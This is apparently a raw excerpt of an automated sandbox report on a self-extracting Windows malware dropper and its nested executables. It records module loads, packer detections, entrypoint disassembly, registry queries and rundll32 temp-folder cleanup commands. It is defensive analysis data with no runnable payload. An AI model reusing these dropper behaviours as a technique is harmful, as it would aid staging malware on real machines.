"%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77360000 "cp7GF84.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73600000 "tb8sC54.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77360000 "tb8sC54.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73600000 "AY1yn84.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77360000 "AY1yn84.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73600000 "1kw38Ju7.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77360000 "1kw38Ju7.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73600000 "2TJ5569.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77360000 "2TJ5569.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73600000 "3Fr64vK.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77360000 "3Fr64vK.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 7360000043:T1137,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" was detected as "Microsoft Cabinet" and name: "sfx" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" was detected as "Microsoft Linker" and name: "Linker" "hA8Nu84.exe" was detected as "Microsoft Cabinet" and name: "sfx" "hA8Nu84.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "hA8Nu84.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "hA8Nu84.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "hA8Nu84.exe" was detected as "Microsoft Linker" and name: "Linker" "cp7GF84.exe" was detected as "Microsoft Cabinet" and name: "sfx" "cp7GF84.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "cp7GF84.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "cp7GF84.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "cp7GF84.exe" was detected as "Microsoft Linker" and name: "Linker" "tb8sC54.exe" was detected as "Microsoft Cabinet" and name: "sfx" "tb8sC54.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "tb8sC54.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "tb8sC54.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "tb8sC54.exe" was detected as "Microsoft Linker" and name: "Linker" "AY1yn84.exe" was detected as "Microsoft Cabinet" and name: "sfx" "AY1yn84.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "AY1yn84.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "AY1yn84.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "AY1yn84.exe" was detected as "Microsoft Linker" and name: "Linker" "4HZ158BT.exe" was detected as "Microsoft Cabinet" and name: "sfx" "4HZ158BT.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "4HZ158BT.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "4HZ158BT.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "4HZ158BT.exe" was detected as "Microsoft Linker" and name: "Linker" "5gC9bz2.exe" was detected as "Microsoft Cabinet" and name: "sfx" "5gC9bz2.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "5gC9bz2.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "5gC9bz2.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "5gC9bz2.exe" was detected as "Microsoft Linker" and name: "Linker" "2TJ5569.exe" was detected as "Microsoft Cabinet" and name: "sfx" "2TJ5569.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2TJ5569.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2TJ5569.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "2TJ5569.exe" was detected as "Microsoft Linker" and name: "Linker" "6oy9bB3.exe" was detected as "Microsoft Cabinet" and name: "sfx" "6oy9bB3.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6oy9bB3.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6oy9bB3.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "6oy9bB3.exe" was detected as "Microsoft Linker" and name: "Linker" "3Fr64vK.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3Fr64vK.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3Fr64vK.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3Fr64vK.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3Fr64vK.exe" was detected as "Microsoft Linker" and name: "Linker" "1kw38Ju7.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1kw38Ju7.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1kw38Ju7.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1kw38Ju7.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1kw38Ju7.exe" was detected as "Microsoft Linker" and name: "Linker"44:T1cff,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "hA8Nu84.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "cp7GF84.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "tb8sC54.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "AY1yn84.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "4HZ158BT.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "5gC9bz2.exe" file has an entrypoint instructions - "call 0x414888,jmp 0x41427f,jmp 0x4186fa,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x4273e3,test eax, eax,je 0x41442a,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x4145d7,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414ec0,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx," "2TJ5569.exe" file has an entrypoint instructions - "call 0x4014e9,jmp 0x4010c5,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x401286,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x40127f,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x40128b,add edx, 0x28,cmp edx, esi,jne 0x401270,xor eax, eax,pop esi,pop ebp,ret ,mov eax, edx,jmp 0x401288,push esi,call 0x401a29,test eax, eax,je 0x4012b9,mov eax, dword ptr fs:[0x18],mov esi, 0x42bd74," "6oy9bB3.exe" file has an entrypoint instructions - "push 0xac,push 0,push 0x418010,call 0x405070,add esp, 0xc,push 0,call 0x405076,mov dword ptr [0x418014], eax,push 0,push 0x1000,push 0,call 0x40507c,mov dword ptr [0x418010], eax,call 0x405000,mov eax, 0x417088,mov dword ptr [0x418034], eax,call 0x40de30,call 0x40dba1,call 0x40aaa0,call 0x40a329," "3Fr64vK.exe" file has an entrypoint instructions - "call 0x403249,jne 0x40324f,je 0x40324f,mov esp, 0x241c8b55,add esp, 4,jmp 0x403261,inc eax,sub ebx, 0x3249,jmp 0x403265,and ch, bl,cmc ,inc eax,and dh, byte ptr [ebp + eax + 0x75],add ecx, dword ptr [esi - 0x49],jecxz 0x4032d7,xor byte ptr [ebp + 5], dh,je 0x403275,sbb ebp, dword ptr [esi + 0x6eb5abe],dec esp,sub eax, eax,jmp 0x403282,sub bl, ch,stc ,dec esp,sub bl, ch,add eax, 0xf1928a88,mov byte ptr [ebx + eax + 2], ah,je 0x403295,jne 0x403295,cmp bl, dh,fcomp qword ptr [ebp + edx*8 + 0xa4b0ff],add byte ptr [eax], al,jne 0x4032a1,je 0x4032a1,jne 0x403255,add esp, 4,mov ecx, dword ptr [esp - 4]," "1kw38Ju7.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"45:T75a,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "hA8Nu84.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "hA8Nu84.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "hA8Nu84.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cp7GF84.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "cp7GF84.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cp7GF84.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "tb8sC54.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "tb8sC54.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "tb8sC54.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "AY1yn84.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "AY1yn84.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "AY1yn84.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1kw38Ju7.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "1kw38Ju7.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "1kw38Ju7.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1kw38Ju7.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME")46:Tb1c,Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",13,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: 1kw38Ju7.exe.log] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00004880-00000C29-423147904] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00004880-00000C29-423352739] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00004880-00000BC1-423385543] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00004156-00000BC1-424154951] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00004976-00000BC1-424907403] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00007348-00000BC1-425915535] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"" [Source: 00000000-00005260-00000BC1-426583014] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00007144-00000C29-427429056] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00007144-00000C29-427923158] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00007144-00000C29-428064765] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007144-00000C29-428148623] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00007144-00000C29-428530315] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00007144-00000C29-428584854] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007144-00000C29-428659927] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00007144-00000C29-428770474] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00007144-00000C29-428847856] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00007144-00000C29-429381717]47:T672,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")48:T699,"hA8Nu84.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\hA8Nu84.exe]- [targetUID: 00000000-00004880] "cp7GF84.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\cp7GF84.exe]- [targetUID: 00000000-00004976] "tb8sC54.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\tb8sC54.exe]- [targetUID: 00000000-00004976] "AY1yn84.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\AY1yn84.exe]- [targetUID: 00000000-00005260] "4HZ158BT.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\IXP002.TMP\4HZ158BT.exe]- [targetUID: 00000000-00004976] "5gC9bz2.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\5gC9bz2.exe]- [targetUID: 00000000-00004156] "2TJ5569.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\2TJ5569.exe]- [targetUID: 00000000-00005260] "6oy9bB3.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\6oy9bB3.exe]- [targetUID: 00000000-00004880] "3Fr64vK.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\3Fr64vK.exe]- [targetUID: 00000000-00005624] "1kw38Ju7.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\IXP004.TMP\1kw38Ju7.exe]- [targetUID: 00000000-00005260] "1kw38Ju7.exe.log" has type "CSV text"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\1kw38Ju7.exe.log]- [targetUID: 00000000-00007144]49:T7aa,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: ""; Value: "")4a:Tf15,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "E2F3379B09A3AC4A2A986C775E7F0BF7C4C4360157E0731F465D17D99DFD45D9.EXE"; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") 